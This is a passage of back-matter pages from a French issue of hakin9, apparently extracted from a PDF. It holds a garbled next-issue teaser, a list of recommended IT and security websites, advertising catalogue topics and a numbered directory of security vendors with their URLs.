entirement fiables. La meilleure est parfois meilleure que celle des
mthode pour vrifier lchelle des connexions traditionnelles. Il existe
dbut de septembre
dangers concernant les serveurs pourtant les mthodes dattaque 2005.
est deffectuer les analyses du ct permettant, entre autres, dinter-
dInternet. Comment le faire ? Vous cepter les conversations. Pour en
le saurez aprs la lecture de larticle savoir plus, lisez larticle de Tobias La rdaction se rserve le droit de
de Manuel Geisler. Glemser. modifier le contenu de la revue.
m m a n d s > > >
Sites reco

Construit sur des serveurs FreeBSD et Linux


Informations sur UNIX, Linux, Windows, les r-
seaux Hbergement libre sur serveurs libres
www.virtuelnet.net

Du hardware au software, en passant par la


tlphonie mobile, les appareils numriques
et les jeux vidos... db-hardware : le meilleur
de linformatique accessible tous.
http://www.db-hardware.fr

Abc de la scurit informatique : Portail ddi


la protection utilisateurs, la prvention et
lanonymat sur micro et rseaux
http://abcdelasecurite.free.fr

Vulnerabilite.com est le premier portail fran-


cophone ddi la scurit des systmes
dinformation pour les DSI, RSSI et dcideurs
informatiques.
http://www.vulnerabilite.com

Site dinformations et dentraide aux logiciels


libres. Le but du site est de rassembler les
informations et promouvoir le logiciel libre.
http://www.generation-libre.com

Actu-Pc a pour but dinformer et de divertir les


internautes. Retrouvez nos news, nos tests
et dossiers hardware au quotidien.
http://www.actu-pc.net/

Cr par Terence DEWAELE en septembre


2000, Ze-Linux a pour but daider la commu-
naut franaise utiliser GNU/Linux : Forums,
Liste, News
http://www.ze-linux.org/

Ce que nous essayons de faire, cest de


regrouper chaque jour toute linformation
essentielle qui aidera nos visiteurs se tenir
inform des dernires infos essentielles.
http://www.smtechnologie.com

Le Portail Qubcois de la Scurit Des Sys-


tmes. Site de nouvelles, forums, tlcharge-
ments, liens scurit, et conseils.
http://www.cccure.net

ds >>>
Sites recomman
Vous trouverez les informations les plus
rcentes sur le march des logiciels
dans les
Catalogues de hakin9
Sujets des catalogues contenant des articles publicitaires pour le
magazine hakin9 :
N Sujets du catalogue

1. Pare-feux matriels et logiciels


5/2005 2. Systmes VPN matriels et logiciels
3. Services de conception et de contrle des pare-feux

1. Matriel rseau (dispositifs actifs et passifs, lments du


rseau)
6/2005 2. Logiciels de gestion de systme informatique de lentreprise
3. Services de conception et de ralisation des rseaux
informatiques srs

1. Systmes de stockage de donnes srs


2. Logiciels de gestion de stockage et rcupration de donnes
1/2006 3. Rcupration de donnes du matriel abm et suppresion de
donnes sre

1. Cryptage de donnes : logiciels pour les stations client


et serveurs
2/2006 2. Matriel de cryptage
3. Systmes PKI, autorits de certification

Chaque numro prsente des sujets diffrents.


Le catalogue contient les prsentations des entreprises et leurs coordonnes.
Chef du projet : Paulina Nowak tl : +48 22 860 17 68 e-mail : adv@software.com.pl
Les socits qui offrent
les solutions de scurit
N Nom de la socit ou nom URL N Nom de la socit ou nom URL
du produit du produit
1 AST http://www.ast-global.com 41 Innovative Security Systems http://www.argus-systems.com
2 ClarkConnect http://www.clarkconnect.com 42 Internet Security Alliance http://www.pcinternetpatrol.com
3 European Network Security http://www.ensi.net 43 Internet Security Systems http://www.iss.net
Institute
44 Intrinsec http://www.intrinsec.com
4 Productive http://www.productiveonline.com
45 Intrusion http://www.intrusion.com
5 R. Kinney Williams http://www.yennik.com
& Associates 46 Iopus http://www.iopus.com
6 ScriptLogic Corporation http://www.scriptlogic.com 47 IS Decisions http://www.isdecisions.com
7 Abtrusion Security http://www.abtrusion.com 48 Juniper Networks http://www.juniper.net
8 Actmon http://www.actmon.com 49 k2net http://www.k2net.pl
9 Agnitum http://www.agnitum.com 50 Kerberos http://www.kerberos.pl
10 AirDefense http://www.airdefense.net 51 Lancope http://www.lancope.com
11 Algorithmic Security http://www.algosec.com 52 Magneto Software http://www.magnetosoft.com
12 Aruba Wireless Networks http://www.arubanetworks.com 53 ManTech International http://www.mantech.com
13 Astaro http://www.astaro.com Corporation
14 Atelier Web http://www.atelierweb.com 54 Mcafee http://www.mcafee.com
15 ATM S.A. http://www.atm.com.pl 55 MERINOSOFT http://www.merinosoft.com.pl
16 Axial Systems http://www.axial.co.uk 56 NASK http://www.nask.pl
17 Blue Lance http://www.bluelance.com 57 Nessus http://www.nessus.org
18 Captus Networks Corp. http://www.captusnetworks.com 58 netForensics http://www.netforensics.com
19 Checkpoint http://www.checkpoint.com 59 NetFrameworks http://www.criticalsecurity.com
20 Cisco http://www.cisco.com
60 NetIQ http://www.netiq.com
21 Claranet Limited http://www.clara.net
61 NETSEC - Network Security http://www.specter.com
22 Computer Associates http://www.ca.com Software
23 Computer Network Defence http://www.networkin- 62 NetworkActiv http://www.networkactiv.com
trusion.co.uk
63 Next Generation Security S.L. http://www.ngsec.com
24 Computer Security http://www.cstl.com
Technology 64 NFR Security http://www.nfr.net
25 Core Security Technologies http://www1.corest.com 65 NSECURE Software PVT http://www.nsecure.net
26 Corsaire Limited http://www.corsaire.com Limited
27 DAL http://www.d-a-l.com 66 NwTech http://www.nwtechusa.com
28 Deerfield http://www.deerfield.com 67 Orion Instruments Polska http://www.orion.pl
29 Demarc http://www.demarc.com 68 Positive Technologies http://www.maxpatrol.com
30 Doshelp http://www.doshelp.com 69 Prevx Limited http://www.prevx.com
31 ecom corporation http://www.e-com.ca 70 Privacyware http://www.privacyware.com
32 eEye Digital Security http://www.eeye.com 71 Qbik http://www.wingate.com
33 Enigma Systemy Ochrony http://www.enigma.com.pl 72 Radware http://www.radware.com
Informacji 73 Real Time Enterprises http://www.real-time.com
34 Fortinet http://www.fortinet.com 74 Reflex Security http://www.reflexsecurity.com
35 G-Lock Software http://www.glocksoft.com
75 RiskWatch http://www.riskwatch.com
36 GFI http://www.gfi.com
76 RSA Security http://www.rsasecurity.com
37 GuardedNet http://www.guarded.net
77 Ryan Net Works http://www.cybertrace.com
38 Honeywell http://www.vintec.com
78 Safe Computing http://www.safecomp.com
39 Infiltration Systems http://www.infiltration-
systems.com 79 Safety - Lab http://www.safety-lab.com
40 Infragistics http://www.infragistics.com 80 Seclutions AG http://www.seclutions.com

Das könnte Ihnen auch gefallen